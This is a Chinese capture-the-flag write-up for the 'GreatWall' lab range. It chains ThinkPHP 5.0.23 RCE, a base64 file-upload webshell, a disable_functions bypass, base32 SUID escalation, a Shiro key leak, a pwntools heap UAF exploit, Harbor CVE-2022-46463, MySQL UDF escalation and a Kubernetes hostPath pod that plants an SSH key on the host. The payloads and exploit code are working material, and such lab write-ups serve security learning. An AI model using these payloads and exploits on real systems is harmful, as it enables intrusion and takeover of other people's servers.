春秋云境-GreatWall

• simho • 0条评论 • •12 次浏览

长城杯

涉及的知识点

thinkphp v5.0.23 RCE
蚁剑disable_functions绕过
base32的suid提权
heapdump泄露shiroKey
堆 UAF漏洞
Harbor未授权访问（CVE-2022-46463）
mysql UDF提权
k8s Api Server未授权

flag1（入口机 / 172.28.23.17）

fscan扫到tp5 rce

start infoscan
8.130.128.177:80 open
8.130.128.177:8080 open
8.130.128.177:22 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://8.130.128.177      code:200 len:10887  title:""
[*] WebTitle http://8.130.128.177:8080 code:200 len:1027   title:Login Form
[+] PocScan http://8.130.128.177:8080 poc-yaml-thinkphp5023-method-rce poc1

thinkphp v5.0.23 RCE

/index.php?s=captcha

_method=__construct&filter[]=system&method=GET&get[]=whoami

greatWall_1

一句话上线，根目录拿到flag1

greatWall_2

flag2（172.28.23.26 / 172.28.14.6）

传Stowaway跟fscan，扫172.28.23段（打了两遍发现多层内网还是要搭正向代理，不然后续靶机上线比较麻烦）

(icmp) Target 172.28.23.33    is alive
(icmp) Target 172.28.23.26    is alive
(icmp) Target 172.28.23.17    is alive
[*] Icmp alive hosts len is: 3
172.28.23.17:8080 open
172.28.23.26:22 open
172.28.23.33:22 open
172.28.23.26:21 open
172.28.23.26:80 open
172.28.23.17:80 open
172.28.23.17:22 open
172.28.23.33:8080 open
[*] alive ports len is: 8
start vulscan
[*] WebTitle http://172.28.23.17       code:200 len:10887  title:""
[*] WebTitle http://172.28.23.17:8080  code:200 len:1027   title:Login Form
[*] WebTitle http://172.28.23.26       code:200 len:13693  title:新翔OA管理系统-OA管理平台联系电话：13849422648微信同号，QQ958756413
[+] ftp 172.28.23.26:21:anonymous 
   [->]OASystem.zip
[*] WebTitle http://172.28.23.33:8080  code:302 len:0      title:None 跳转url: http://172.28.23.33:8080/login;jsessionid=5D4B779E04DC95A879AED54DB1AE95A9
[*] WebTitle http://172.28.23.33:8080/login;jsessionid=5D4B779E04DC95A879AED54DB1AE95A9 code:200 len:3860   title:智联科技 ERP 后台登陆
[+] PocScan http://172.28.23.17:8080 poc-yaml-thinkphp5023-method-rce poc1
[+] PocScan http://172.28.23.33:8080 poc-yaml-spring-actuator-heapdump-file 
[+] PocScan http://172.28.23.33:8080 poc-yaml-springboot-env-unauth spring2

172.28.23.26主机有个ftp匿名访问，能下web源码

greatWall_3

根目录有uploadbase64.php，会匹配data:image/<input1>;base64,<input2>，以<input1>作为文件后缀，base64_decode(<input2>）作为文件内容写入

<?php
$img = $_POST['imgbase64'];
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $img, $result)) {
    $type = ".".$result[2];
    $path = "upload/" . date("Y-m-d") . "-" . uniqid() . $type;
}
$img =  base64_decode(str_replace($result[1], '', $img));
@file_put_contents($path, $img);
exit('{"src":"'.$path.'"}');

抓包传入

POST /uploadbase64.php HTTP/1.1
Host: 172.28.23.26
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 76

imgbase64=

greatWall_4

访问http://172.28.23.26/upload/2025-04-10-67f781c8935cf.php，能执行phpinfo，但是蚁剑连接后执行命令显示ret=127，说明有disable_functions

greatWall_5

蚁剑disable_functions绕过

利用自带插件绕过

greatWall_6

在upload文件夹上传一个get传参的一句话木马，在.antproxy.php文件中修改要包含的文件名

greatWall_7

能成功执行命令

greatWall_8

双网卡

greatWall_9

搭好代理后续要用（注意这里如果要上线或者搭代理，执行chmod +x时，+记得url编码）

base32的suid提权

http://172.28.23.26/upload/.antproxy.php?1=system('find / -perm -u=s -type f 2>/dev/null');

/bin/fusermount
/bin/ping6
/bin/mount
/bin/su
/bin/ping
/bin/umount
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/staprun
/usr/bin/base32
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/s-nail/s-nail-privsep
http://172.28.23.26/upload/.antproxy.php?1=system('base32 /flag02.txt');

greatWall_10

flag3（172.28.23.33 / 172.22.10.16）

前面还扫出172.28.23.33主机有heapdump泄露，老套路

heapdump泄露shiroKey

JDumpSpider分析heapdump拿到Shirokey

===========================================
CookieRememberMeManager(ShiroKey)
-------------
algMode = GCM, key = AZYyIgMYhG6/CzIJlvpR2g==, algName = AES

===========================================

greatWall_12

注入冰蝎内存马，接着传正向马上线，也是双网卡（还可以通过入口机代理传反向马上线，代理ip要填内网ip）

greatWall_13

堆 UAF漏洞

/home/ops01下有个HashNote二进制文件，pwn服务一般都开在高端口，传fscan扫本地ip，看到59696端口开放

greatWall_14

不懂pwn，直接kali执行exp）

from pwn import *
context.arch='amd64'

def add(key,data='b'):
    p.sendlineafter(b'Option:',b'1')
    p.sendlineafter(b'Key:',key)
    p.sendlineafter(b'Data:',data)

def show(key):
    p.sendlineafter(b'Option:',b'2')
    p.sendlineafter(b"Key: ",key);

def edit(key,data):
    p.sendlineafter(b'Option:',b'3')
    p.sendlineafter(b'Key:',key)
    p.sendlineafter(b'Data:',data)

def name(username):
    p.sendlineafter(b'Option:',b'4')
    p.sendlineafter(b'name:',username)

p = remote('172.28.23.33', 59696)
# p = process('./HashNote')

username=0x5dc980
stack=0x5e4fa8
ukey=b'\x30'*5+b'\x31'+b'\x44'

fake_chunk=flat({
    0:username+0x10,
    0x10:[username+0x20,len(ukey),\
        ukey,0],
    0x30:[stack,0x10]
    },filler=b'\x00')

p.sendlineafter(b'name',fake_chunk)
p.sendlineafter(b'word','freep@ssw0rd:3')

add(b'\x30'*1+b'\x31'+b'\x44',b'test')   # 126
add(b'\x30'*2+b'\x31'+b'\x44',b'test')   # 127

show(ukey)
main_ret=u64(p.read(8))-0x1e0

rdi=0x0000000000405e7c # pop rdi ; ret
rsi=0x000000000040974f # pop rsi ; ret
rdx=0x000000000053514b # pop rdx ; pop rbx ; ret
rax=0x00000000004206ba # pop rax ; ret
syscall=0x00000000004560c6 # syscall

fake_chunk=flat({
    0:username+0x20,
    0x20:[username+0x30,len(ukey),\
        ukey,0],
    0x40:[main_ret,0x100,b'/bin/sh\x00']
    },filler=b'\x00')

name(fake_chunk.ljust(0x80,b'\x00'))

payload=flat([
    rdi,username+0x50,
    rsi,0,
    rdx,0,0,
    rax,0x3b,
    syscall
    ])

p.sendlineafter(b'Option:',b'3')
p.sendlineafter(b'Key:',ukey)
p.sendline(payload)
p.sendlineafter(b'Option:',b'9')
p.interactive()

拿到第三个flag

greatWall_15

flag5（172.22.14.46）

回到172.28.23.26 主机，扫172.22.14段

(icmp) Target 172.22.14.6     is alive
(icmp) Target 172.22.14.37    is alive
(icmp) Target 172.22.14.46    is alive
[*] Icmp alive hosts len is: 3
172.22.14.6:80 open
172.22.14.46:80 open
172.22.14.46:22 open
172.22.14.37:22 open
172.22.14.6:22 open
172.22.14.6:21 open
172.22.14.37:2379 open
172.22.14.37:10250 open
[*] alive ports len is: 8
start vulscan
[*] WebTitle http://172.22.14.46       code:200 len:785    title:Harbor
[*] WebTitle http://172.22.14.6        code:200 len:13693  title:新翔OA管理系统-OA管理平台联系电话：13849422648微信同号，QQ958756413
[+] InfoScan http://172.22.14.46       [Harbor] 
[*] WebTitle https://172.22.14.37:10250 code:404 len:19     title:None
[+] ftp 172.22.14.6:21:anonymous 
   [->]OASystem.zip
[+] PocScan http://172.22.14.46/swagger.json poc-yaml-swagger-ui-unauth [{path swagger.json}]

Harbor未授权拉取镜像

有个Harbor服务，尝试打cve-2022-46463

python3 harbor.py http://172.22.14.46/

greatWall_16

拉harobor/secret镜像

python3 harbor.py http://172.22.14.46/ --dump harbor/secret --v2

greatWall_17

在其中一个文件夹看到第五个flag

greatWall_18

flag6（172.22.10.28）

再拉project/projectadmin，有个jar包

python3 harbor.py http://172.22.14.46/ --dump project/projectadmin --v2

greatWall_19

mysql UDF提权

在application.properties看到172.22.10.28主机的mysql账密

greatWall_20

在172.28.23.33主机搭好代理，MDUT连接

greatWall_21

利用UDF提权功能一把梭

greatWall_22

flag5（172.22.14.37）

前面扫172.22.14段扫出来10250端口，这个端口是k8s中kubelet与apiserver 通信的端口，挂代理访问6443端口可以看到所有的api接口

k8s Api Server未授权

学着打，创建一个恶意的yaml文件

apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deployment
  labels:
    app: nginx
spec:
  replicas: 1
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      containers:
      - name: nginx
        image: nginx:1.8
        volumeMounts:
        - mountPath: /mnt
          name: test-volume
      volumes:
      - name: test-volume
        hostPath:
          path: /

创建pod，用户密码随便填

kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ apply -f evil.yaml

列出pod

kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get pods -n default

能看到容器名为nginx-deployment-864f8bfd6f-fr57q，可以像docker那样进入容器

kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ exec -it nginx-deployment-864f8bfd6f-fr57q /bin/bash

因为前面yaml文件指定了宿主机挂载目录为/mnt，因此可以直接写ssh公钥到/mnt/root/.ssh/authorized_keys

echo "ssh-rsa AAAA...Q== root@kali" > /mnt/root/.ssh/authorized_keys

greatWall_23

ssh公钥连接172.22.14.37主机，mysql弱密码进入，在flaghaha数据库拿最后一个flag

┌──(root💀kali)-[~/.ssh]
└─# proxychains4 -q ssh root@172.22.14.37 
The authenticity of host '172.22.14.37 (172.22.14.37)' can't be established.
ED25519 key fingerprint is SHA256:m3+H5Mqvie3hsr4ANYqsMgb8NeW9PAIlC3xtR3zP7do.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.22.14.37' (ED25519) to the list of known hosts.

root@ubuntu-k8s:~# mysql -uroot -proot

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| flaghaha           |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.01 sec)

mysql> use flaghaha

Database changed, 3 warnings
mysql> show tables
    -> ;
+--------------------+
| Tables_in_flaghaha |
+--------------------+
| flag04             |
+--------------------+
1 row in set (0.00 sec)

mysql> select * from flag04;
+------+--------------------------------------------------------------+
| id   | f1agggggishere                                               |
+------+--------------------------------------------------------------+
|    1 | ZmxhZ3tkYTY5YzQ1OS03ZmU1LTQ1MzUtYjhkMS0xNWZmZjQ5NmEyOWZ9Cg== |
+------+--------------------------------------------------------------+

flag{da69c459-7fe5-4535-b8d1-15fff496a29f}

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